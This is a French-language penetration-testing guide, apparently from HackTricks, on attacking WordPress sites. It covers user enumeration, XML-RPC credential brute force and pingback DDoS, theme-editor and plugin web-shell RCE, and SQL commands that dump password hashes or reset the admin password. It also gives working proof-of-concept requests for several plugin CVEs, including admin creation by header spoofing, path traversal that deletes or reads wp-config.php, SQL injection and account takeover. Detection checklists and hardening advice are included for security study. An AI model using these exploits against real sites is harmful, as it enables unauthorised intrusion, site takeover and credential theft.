Wordpress

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

  • Les fichiers téléversés vont dans : http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Les fichiers de thèmes se trouvent dans /wp-content/themes/, donc si vous modifiez un php du thème pour obtenir RCE vous utiliserez probablement ce chemin. Par exemple : en utilisant thème twentytwelve vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php

  • Une autre URL utile pourrait être : /wp-content/themes/default/404.php

  • Dans wp-config.php vous pouvez trouver le mot de passe root de la base de données.

  • Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Fichiers principaux de WordPress

  • index.php
  • license.txt contient des informations utiles telles que la version de WordPress installée.
  • wp-activate.php est utilisé pour le processus d’activation par email lors de la création d’un nouveau site WordPress.
  • Dossiers de connexion (peuvent être renommés pour les cacher) :
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php est un fichier qui représente une fonctionnalité de WordPress permettant de transmettre des données avec HTTP comme mécanisme de transport et XML comme mécanisme d’encodage. Ce type de communication a été remplacé par le WordPress REST API.
  • Le dossier wp-content est le répertoire principal où sont stockés les plugins et thèmes.
  • wp-content/uploads/ est le répertoire où sont stockés tous les fichiers téléversés sur la plateforme.
  • wp-includes/ est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets.
  • wp-sitemap.xml Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML contenant tous les posts publics et les types de post et taxonomies consultables publiquement.

Post exploitation

  • Le fichier wp-config.php contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base, l’hôte de la base, le nom d’utilisateur et le mot de passe, les clés d’authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut aussi être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le troubleshooting.

Permissions des utilisateurs

  • Administrateur
  • Éditeur : Publie et gère ses propres posts et ceux des autres
  • Auteur : Publie et gère ses propres posts
  • Contributeur : Rédige et gère ses posts mais ne peut pas les publier
  • Abonné : Parcourt les posts et édite son profil

Énumération passive

Obtenir la version de WordPress

Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html

Dans le code source de la page (exemple de https://wordpress.org/support/article/pages/) :

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

Obtenir des plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Récupérer les thèmes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraire les versions en général

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Énumération active

Plugins et thèmes

Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour les découvrir tous, vous devrez Brute Force activement une liste de plugins et thèmes (espérons pour nous qu’il existe des outils automatisés qui contiennent ces listes).

Utilisateurs

  • ID Brute: Vous obtenez des utilisateurs valides d’un site WordPress en Brute Forcing les IDs des utilisateurs:
curl -s -I -X GET http://blog.example.com/?author=1

Si les réponses sont 200 ou 30X, cela signifie que l’id est valide. Si la réponse est 400, alors l’id est invalide.

  • wp-json: Vous pouvez aussi essayer d’obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users

Un autre endpoint /wp-json/ qui peut révéler certaines informations sur les utilisateurs est :

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Notez que cet endpoint n’expose que les utilisateurs qui ont publié un article. Seules les informations concernant les utilisateurs ayant cette fonctionnalité activée seront fournies.

Notez également que /wp-json/wp/v2/pages pourrait leak des adresses IP.

  • Login username enumeration: Lors de la connexion via /wp-login.php le message est différent selon que le nom d’utilisateur existe ou non.

XML-RPC

Si xml-rpc.php est actif vous pouvez effectuer un credentials brute-force ou l’utiliser pour lancer des attaques DoS vers d’autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).

Pour vérifier s’il est actif essayez d’accéder à /xmlrpc.php et envoyez cette requête :

Vérifier

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des credentials. Si vous trouvez l’une d’elles, vous pouvez envoyer quelque chose comme :

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

“Incorrect username or password” dans une réponse avec code 200 doit apparaître si les credentials ne sont pas valides.

En utilisant les bons credentials, vous pouvez upload un fichier. Dans la réponse, le path apparaîtra (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

This method is meant for programs and not for humans, and old, therefore it doesn’t support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Note that you won’t be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.

Regardez l’utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Quand ce fichier est accédé, une requête MySQL lourde est exécutée, il pourrait donc être utilisé par des attaquants pour provoquer un DoS.
De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (lorsqu’un client demande n’importe quelle page Wordpress), ce qui peut poser des problèmes (DoS) sur les sites à fort trafic.

Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l’hôte qui exécute les actions nécessaires à intervalle régulier (sans causer de problèmes).

/wp-json/oembed/1.0/proxy - SSRF

Essayez d’accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Worpress peut effectuer une requête vers vous.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Cet outil vérifie si le methodName: pingback.ping existe pour le path /wp-json/oembed/1.0/proxy et si c’est le cas, il tente de les exploiter.

Outils automatiques

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obtenir l’accès en modifiant un bit

Plus qu’une attaque réelle, c’est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit dans n’importe quel fichier wordpress. Ainsi, vous pouviez inverser le bit à la position 5389 du fichier /var/www/html/wp-includes/user.php pour NOP l’opération NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modification d’un fichier php du thème utilisé (identifiants admin nécessaires)

Appearance → Theme Editor → 404 Template (à droite)

Remplacez le contenu par un php shell :

Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Vous pouvez utiliser :

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Il peut être possible d’uploader des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :

Puis ajoutez un nouveau plugin :

Upload plugin and press Install Now:

Cliquez sur Procced:

Probablement cela n’affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell uploadé :

Accédez-y et vous verrez l’URL pour exécuter le reverse shell :

Uploading and activating malicious plugin

Cette méthode consiste en l’installation d’un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est effectué via le WordPress dashboard comme suit :

  1. Plugin Acquisition: Le plugin est obtenu depuis une source comme Exploit DB comme here.
  2. Plugin Installation:
  • Accédez au WordPress dashboard, puis allez dans Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Activation: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
  2. Exploitation:
  • Avec le plugin “reflex-gallery” installé et activé, il peut être exploité car il est connu vulnérable.
  • Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
  • Il est à noter que ceci n’est qu’une des nombreuses méthodes pour exploiter un site WordPress.

Le contenu inclut des aides visuelles décrivant les étapes dans le WordPress dashboard pour l’installation et l’activation du plugin. Cependant, il est important de noter que l’exploitation de vulnérabilités de cette manière est illégale et contraire à l’éthique sans une autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le penetration testing avec permission explicite.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

De XSS à RCE

  • WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité Cross-Site Scripting (XSS) vers une Remote Code Execution (RCE) ou d’autres vulnérabilités critiques dans WordPress. Pour plus d’infos, consultez this post. Il fournit support pour Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Crée un utilisateur dans WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
  • (RCE) Built-In Plugin Edit: Édite un Built-In Plugin dans WordPress.
  • (RCE) Built-In Theme Edit: Édite un Built-In Theme dans WordPress.
  • (Custom) Custom Exploits: Exploits personnalisés pour des plugins/themes WordPress tiers.

Post Exploitation

Extraire les noms d’utilisateur et les mots de passe:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Changer le mot de passe administrateur :

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest des plugins Wordpress

Surface d’attaque

Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points suivants et des exemples de plugins vulnérables dans cet article de blog.

  • wp_ajax

L’une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d’autorisation ou d’authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l’authentification et l’autorisation sur l’existence d’un nonce Wordpress que tout utilisateur authentifié dans l’instance Wordpress peut avoir (indépendamment de son rôle).

Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

L’utilisation de nopriv rend l’endpoint accessible par n’importe quel utilisateur (même les utilisateurs non authentifiés).

Caution

De plus, si la fonction se contente de vérifier l’autorisation de l’utilisateur avec la fonction wp_verify_nonce, cette fonction vérifie seulement que l’utilisateur est connecté ; elle ne vérifie généralement pas le rôle de l’utilisateur. Ainsi, des utilisateurs à faibles privilèges pourraient avoir accès à des actions à privilèges élevés.

  • REST API

It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.

Si la fonction intégrée __return_true est utilisée, elle contourne simplement la vérification des permissions utilisateur.

  • Accès direct au fichier PHP

Bien sûr, Wordpress utilise PHP et les fichiers des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle pourra être exploitée par n’importe quel utilisateur.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.

  • Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la route REST core users.
  • En-tête d’exemple : X-Wcpay-Platform-Checkout-User: 1 (force l’ID utilisateur 1, typiquement le premier compte administrateur).
  • Route exploitée : POST /wp-json/wp/v2/users avec un tableau de rôle avec privilèges élevés.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Pourquoi ça fonctionne

  • Le plugin mappe un header contrôlé par le client à l’état d’authentification et ignore les vérifications de capabilities.
  • WordPress core attend la capability create_users pour cette route ; le contournement du plugin l’évite en définissant directement le contexte de l’utilisateur courant à partir du header.

Indicateurs de succès attendus

  • HTTP 201 avec un corps JSON décrivant l’utilisateur créé.
  • Un nouvel utilisateur admin visible dans wp-admin/users.php.

Checklist de détection

  • Grep pour getallheaders(), $_SERVER['HTTP_...'], ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. wp_set_current_user(), wp_set_auth_cookie()).
  • Examiner les enregistrements REST pour des callbacks privilégiés qui n’ont pas de vérifications permission_callback robustes et qui s’appuient à la place sur les headers de la requête.
  • Rechercher les usages des fonctions core de gestion d’utilisateurs (wp_insert_user, wp_create_user) à l’intérieur des handlers REST qui ne sont protégés que par des valeurs de header.

Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)

Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks wp_ajax_ et wp_ajax_nopriv_. Lorsque la variante nopriv est utilisée le callback devient accessible aux visiteurs non authentifiés, donc toute action sensible doit en plus implémenter :

  1. Une vérification de capability (par ex. current_user_can() ou au minimum is_user_logged_in()), et
  2. Un CSRF nonce validé avec check_ajax_referer() / wp_verify_nonce(), et
  3. Une sanitisation / validation stricte des entrées.

Le thème multipurpose Litho (< 3.1) a omis ces 3 contrôles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problèmes introduits par cet extrait :

  • Accès non authentifié – le hook wp_ajax_nopriv_ est enregistré.
  • No nonce / capability check – n’importe quel visiteur peut appeler l’endpoint.
  • No path sanitisation – la chaîne contrôlée par l’utilisateur fontfamily est concaténée à un chemin de fichier sans filtrage, permettant le classique parcours ../../.

Exploitation

Un attaquant peut supprimer n’importe quel fichier ou répertoire sous le répertoire de base uploads (normalement <wp-root>/wp-content/uploads/) en envoyant une seule requête HTTP POST :

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Parce que wp-config.php se trouve en dehors de uploads, quatre séquences ../ suffisent sur une installation par défaut. Supprimer wp-config.php force WordPress à lancer l’installation wizard lors de la visite suivante, permettant une prise de contrôle complète du site (l’attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).

D’autres cibles impactantes incluent les fichiers .php des plugins/themes (pour casser des plugins de sécurité) ou les règles .htaccess.

Detection checklist

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenation of unsanitised user input into paths (look for $_POST, $_GET, $_REQUEST).
  • Absence of check_ajax_referer() and current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)

De nombreux plugins implémentent une fonctionnalité “view as role” ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) originel(s) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration repose uniquement sur des paramètres de requête (par ex., $_REQUEST['reset-for']) et sur une liste maintenue par le plugin sans vérifier les capabilities ni un nonce valide, cela devient une élévation verticale de privilèges.

Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles en fonction de reset-for=<username> si le nom d’utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are'], mais n’effectuait ni un contrôle current_user_can() ni une vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis les user meta _asenha_view_admin_as_original_roles :

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Pourquoi c’est exploitable

  • Fait confiance à $_REQUEST['reset-for'] et à une option du plugin sans autorisation côté serveur.
  • Si un utilisateur avait auparavant des privilèges plus élevés sauvegardés dans _asenha_view_admin_as_original_roles et a été rétrogradé, il peut les restaurer en appelant le chemin de réinitialisation.
  • Dans certains déploiements, n’importe quel utilisateur authentifié pouvait déclencher une réinitialisation pour un autre nom d’utilisateur encore présent dans viewing_admin_as_role_are (contrôle d’accès défaillant).

Exploitation (exemple)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Sur les builds vulnérables, cela supprime les rôles actuels et ré-ajoute les rôles originaux sauvegardés (p.ex., administrator), escaladant effectivement les privilèges.

Detection checklist

  • Recherchez des fonctionnalités de changement de rôle qui conservent les original roles dans user meta (p.ex., _asenha_view_admin_as_original_roles).
  • Identifiez les chemins de réinitialisation/restauration qui :
  • Lire les noms d’utilisateur depuis $_REQUEST / $_GET / $_POST.
  • Modifier les rôles via add_role() / remove_role() sans current_user_can() et wp_verify_nonce() / check_admin_referer().
  • Autoriser en se basant sur un tableau d’options du plugin (p.ex., viewing_admin_as_role_are) au lieu des capacités de l’acteur.

Escalade de privilèges non authentifiée via cookie‑trusted user switching sur le hook public init (Service Finder “sf-booking”)

Certains plugins branchent des helpers de changement d’utilisateur sur le hook public init et dérivent l’identité d’un cookie contrôlé par le client. Si le code appelle wp_set_auth_cookie() sans vérifier l’authentification, les capacités et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu’ID utilisateur arbitraire.

Schéma vulnérable typique (simplifié depuis Service Finder Bookings ≤ 6.1) :

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Pourquoi c’est exploitable

  • Le hook public init rend le handler accessible aux utilisateurs non authentifiés (pas de vérification is_user_logged_in()).
  • L’identité est dérivée d’un cookie modifiable côté client (original_user_id).
  • Un appel direct à wp_set_auth_cookie($uid) connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce.

Exploitation (non authentifiée)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considérations WAF pour WordPress/plugin CVEs

Les WAFs génériques en périphérie/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs de logique d’application/auth spécifiques qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.

Notes offensives

  • Ciblez les endpoints spécifiques aux plugins avec des payloads propres: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Testez d’abord les chemins non-authentifiés (AJAX nopriv, REST avec permissive permission_callback, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation.
  • Cas typiques à fort impact : élévation de privilèges (broken access control), arbitrary file upload/download, LFI, open redirect.

Notes défensives

  • Ne comptez pas sur des signatures WAF génériques pour protéger les CVEs des plugins. Implémentez des correctifs virtuels spécifiques aux vulnérabilités au niveau applicatif ou mettez à jour rapidement.
  • Privilégiez des contrôles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres regex négatifs.

Protection WordPress

Mises à jour régulières

Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez également que la mise à jour automatique est activée dans wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

De plus, n’installez que des plugins et thèmes WordPress fiables.

Plugins de sécurité

Autres recommandations

  • Supprimez l’utilisateur admin par défaut
  • Utilisez des mots de passe robustes et 2FA
  • Périodiquement révisez les autorisations des utilisateurs
  • Limitez les tentatives de connexion pour prévenir les attaques Brute Force
  • Renommez le fichier wp-admin.php et n’autorisez l’accès qu’en interne ou depuis certaines adresses IP.

SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2)

Le plugin de recrutement WP Job Portal a exposé une tâche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData() :

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problèmes introduits par cet extrait :

  1. Entrée utilisateur non assainieparentid provient directement de la requête HTTP.
  2. Concaténation de chaînes dans la clause WHERE – pas d’is_numeric() / esc_sql() / prepared statement.
  3. Accès sans authentification – bien que l’action soit exécutée via admin-post.php, la seule vérification en place est un CSRF nonce (wp_verify_nonce()), que n’importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode [wpjobportal_my_resumes].

Exploitation

  1. Récupérer un nonce récent :
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injecter du SQL arbitraire en abusant de parentid :
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.

Téléchargement arbitraire de fichier sans authentification / Path Traversal (WP Job Portal <= 2.3.2)

Une autre tâche, downloadcustomfile, permettait aux visiteurs de télécharger n’importe quel fichier sur le disque via path traversal. Le sink vulnérable se trouve dans modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name est contrôlé par l’attaquant et concaténé sans assainissement. Encore une fois, la seule barrière est un CSRF nonce qui peut être récupéré depuis la page de CV.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Le serveur renvoie le contenu de wp-config.php, leaking DB credentials and auth keys.

Prise de contrôle de compte non authentifiée via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Beaucoup de thèmes/plugins fournissent des helpers “social login” exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_…) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.

Schéma typique défectueux (simplifié)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Pourquoi c’est exploitable

  • Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_… action).
  • Pas de vérifications nonce/capability avant un changement d’état.
  • Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l’entrée de l’attacker.
  • get_user_by(‘email’, $_POST[‘id’]) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n’importe quelle adresse e-mail existante.

Exploitation (unauthenticated)

  • Prérequis : attacker peut atteindre /wp-admin/admin-ajax.php et connaît/devine une adresse e-mail utilisateur valide.
  • Définir provider sur une valeur non prise en charge (ou l’omettre) pour atteindre la branche par défaut et envoyer id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Utiliser grep pour wp_set_auth_cookie(), get_user_by(‘email’, …) dans les gestionnaires AJAX.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

